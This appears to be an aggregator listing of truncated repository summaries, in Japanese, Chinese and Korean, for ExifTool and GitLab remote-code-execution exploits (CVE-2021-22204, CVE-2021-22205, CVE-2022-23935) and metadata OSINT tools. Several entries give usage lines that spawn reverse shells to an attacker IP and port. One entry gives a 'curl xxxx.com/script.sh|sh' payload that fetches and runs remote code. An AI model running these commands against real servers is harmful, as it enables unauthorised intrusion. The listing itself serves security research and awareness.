CVE-2021-22205

CVE-2021-22205 GitLab CE/EE における exiftool 経由の Preauth RCE 脆弱性の概要 GitLab は ExifTool を使用して、すべての tiff/jpeg/jpg ファイルをスキャンし、ホワイトリストに登録されていないタグを削除します。 しかし、ExifTool はファイル拡張子ではなくファイルの内容でファイルタイプを判別するため、攻撃者は任意のファイルをアップロードし、それを tiff/jpeg/jpg にリネームして、ExifTool がサポートする任意のパーサーを「悪用」することができます。 DjVu...

CVE-2021-22205

CVE-2021-22205 - GitLab 未認証リモートコード実行 CVE-2021-22205 は、GitLab Community Edition CE および Enterprise Edition EE に影響を及ぼす重大なリモートコード実行 RCE 脆弱性です。この脆弱性は、サードパーティ製ユーティリティ ExifTool によって処理されるアップロード画像ファイルの検証が不適切であることに起因します。攻撃者は、GitLab サーバー上で任意のコマンド実行を引き起こす悪意のあるファイルを細工することができます。この脆弱性は CVSS スコア 10.0 Critical...

CVE-2022-23935

CVE-2022-23935 Exiftoolソフトウェアは、12.38より前のバージョンにおいて、特別に細工されたファイル名を通じて悪用される可能性のあるセキュリティ脆弱性を抱えています。 この脆弱性によりコマンドインジェクションが可能になり、攻撃者はファイル名の末尾にパイプ文字「'|'」を追加することで、システム上で任意のコマンドを実行できます。これにより、ファイルは通常のファイルとしてではなく、実行されるコマンドとして扱われます。 その結果、この命名規則を持つシステム上のファイルはすべて、悪意のあるコードの実行に利用される可能性があります。...

CVE-2021-22204

CVE-2021-22204 CVEの概要 ExifTool バージョン7.44以降のDjVuファイル形式におけるユーザーデータの不適切なサニタイズにより、悪意のある画像を解析する際に任意のコード実行が可能になります。 影響を受けるバージョン バージョン 7.44 - 12.23 特記事項 依存関係: djvulibre-bin exiftool 以下の3つのコマンドを呼び出します: bzz, dvjumake, exiftool 参考文献 GitHub POC - Gustavo Dutra, 2021年5月11日 ケーススタディ: CVE-2021-22204 Exiftool RC...

exploit-CVE-2021-22204

CVE-2021-22204 ExifTool 漏洞利用 - 任意代码执行 喜欢这个仓库？给我们点个 ⭐ 吧！ 仅用于教育和授权安全研究目的。 漏洞利用作者 @UNICORDev 由 @NicPWNs 和 @Dev-Yeoj 创作 漏洞描述 ExifTool 7.44 及以上版本在解析恶意图像时，对 DjVu 文件格式中的用户数据中和不当，允许执行任意代码。 利用描述 使用此漏洞利用程序生成 JPEG 图像载荷，与存在漏洞的 ExifTool 版本配合即可执行代码。你可以提供自定义命令，也可以生成反向 Shell。工具会自动生成 JPEG 图像；也可选择提供自定义 JPEG...

CVE-2021-22204

CVE-2021-22204 - Exiftool リモートコード実行 説明 最近、研究者の wcbowling 氏が Exiftool ツールに脆弱性を発見しました。これにより、悪意のある攻撃者がリモートコード実行攻撃を行うことが可能になります。この脆弱性は GitLab のバグバウンティプログラムで発見されたもので、同プログラムではこのツールを製品の依存関係として使用しています。 使用方法 12行目（createFile.sh）に、自身の攻撃者マシンのIPアドレスを入力してください。 その後、次のコマンドを実行するだけです: $ bash createFile.sh...

dejavu

DejaVu...

CVE-2022-23935

はじめに CVE-2022-23935 エクスプロイト PoC exiftool バージョン 12.37 インストール root@kitploit: git clone https://github.com/0xFTW/CVE-2022-23935 cd CVE-2022-23935 chmod +x CVE-2022-23935.py pip3 install pwntools 使い方 root@kitploit: ./CVE-2022-23935...

CVE-2021-22204

CVE-2021-22204 - ExifTool 임의 코드 실행 CVE-2021-22204에 대한 개선된 개념 증명PoC입니다. 이 취약점은 ExifTool 7.4412.23 버전에 존재하며, 악성 DjVu 파일을 처리할 때 임의 코드 실행을 허용합니다. 크레딧 본 자료는 파생 작업입니다. 취약점과 원본 익스플로잇은 제가 만든 것이 아닙니다. 역할| 작성자 ---|--- 취약점 발견자| William Bowling @wcbowling, GitLab 버그 바운티 프로그램을 통해 보고 — 2021년 4월 원본 PoC 작성자|...

PowerMeta

PowerMeta PowerMeta searches for publicly available files hosted on various websites for a particular domain by using specially crafted Google, and Bing searches. It then allows for the download of those files from the target domain. After retrieving the files, the metadata associated with them c...

pymeta

PyMeta PyMeta는 PowerShell로 dafthack이 만든 PowerMeta 도구의 Python3 재작성입니다. 특별히 제작된 검색 쿼리를 사용하여 Google 및 Bing 스크래핑을 통해 주어진 도메인에서 다음 파일 형식pdf, xls, xlsx, csv, doc, docx, ppt, pptx을 식별하고 다운로드합니다. 다운로드 후, Phil Harvey의 exiftool을 사용하여 이 파일들에서 메타데이터를 추출하고 .csv 보고서에 추가합니다. 또는 Pymeta를 디렉토리를 가리켜 -dir 명령줄 인수를 사용...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 이것은 테스트를 위해 작성한 편의 스크립트입니다. 출력 root@kitploit: Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates an image file notevil.jpg to be...

GitLab-CVE-2021-22205-scanner

GitLab-CVE-2021-22205-scanner 사용법 root@kitploit: $ python3 GitLab-revshell.py -u https://gitlab.target.com -l AttackerIP -p AttackerPort 출처 https://hackerone.com/reports/1154542 여기에서 참조한 코드 조각: https://github.com/CsEnox/Gitlab-Exiftool-RCE/blob/main/exploit.py 면책 조항: root@kitploit: 이 스크립트는 보안 분석 ...

Metaforge

Metaforge "An OSINT tool that analyzes metadata and creates dynamic reports" https://chriswmorris.github.io/Metaforge/ Senior Design Project 2019 - By Chris Morris and Collin Mockbee A Python3 Application for Unix-based Operating Systems Note: Metaforge requires at least python version 3.5 to wor...

CVE-2021-22204-exiftool

CVE-2021-22204-exiftool Exiftool の CVE-2021-22204 脆弱性に対する Python エクスプロイト。 脆弱性について CVE-2021-22204 は William Bowling @wcbowling によって発見・報告されました。 このエクスプロイトは、CVE が報告された後に exiftool のパッチを研究して作成されました。 前提条件 exiftool と djvulibre ツールがインストールされていること。Debian または Ubuntu をお使いの場合は、以下のコマンドでインストールできます： root@kitploit...

CVE-2021-22204

ExifTool リモートコード実行脆弱性 これはCVE-2021-22204の分析記事になるはずでしたが、むしろ私のメモ帳のようなもので、多くの散らかったものが詰まっています。脆弱性分析記事としてはちょっと余計な話が多いですが、それでも多くのことを学びました。 正直なところ、このツールを使ったことは一度もなく、Perlという言語にもほとんど触れたことがありませんでした。そのため、分析や再現の過程で疑問符だらけでした。分析を始める前に、インターネットで公開されているPoCと、私が抱いた疑問を見てみましょう。 POC - convisolabs...

CVE-2021-22204

CVE-2021-22204 CVE-2021-22204 ExifTool 익스플로잇 - 임의 코드 실행 익스플로잇 설명 이 익스플로잇을 사용하여 취약한 ExifTool 버전에서 코드 실행에 사용할 수 있는 JPEG 이미지 페이로드를 생성하십시오. 사용자 지정 명령을 제공하거나 리버스 셸을 생성할 수 있습니다. JPEG 이미지가 자동으로 생성되며, 선택적으로 사용자 지정 JPEG 이미지를 제공하여 페이로드를 삽입할 수 있습니다...

CVE-2021-22204

CVE-2021-22204 설명 ExifTool 7.44 이상 버전에서 DjVu 파일 형식의 사용자 데이터 부적절한 무력화로 인해 악성 이미지 파싱 시 임의 코드 실행이 가능합니다. 스크립트 스크립트 링크 스크립트 사용법: 시스템 명령: root@kitploit: bash CVE-2021-2204.sh "system'id'" happy.jpg 리버스 셸: root@kitploit: bash CVE-2021-2204.sh "reverseme 10.10.10.10 9999" happy.jpg 자신의 IP와 포트 수동 익스플로잇...

CVE-2021-22204

影響を受けるバージョン 7.44 12.23 再現手順 root@kitploit: $ bash craftadjvuexploit.sh 'cal' $ ./exiftool delicate.jpg スクリーンショット 参照 NVD-CVE-2021-22204...

POC_CVE-2026-42589

POCCVE-2026-42589 CVE-2026-42589 に影響する Gotenberg のローカル再現ラボと nuclei テンプレート草案。 概要 CVE-2026-42589 は、Gotenberg における認証不要のリモートコード実行の問題であり、メタデータキーの改行インジェクションによって引き起こされます。 root@kitploit: POST /forms/pdfengines/metadata/write 影響を受ける Gotenberg は、ユーザー制御のメタデータキーを制御文字を拒否せずに ExifTool に転送します。JSON...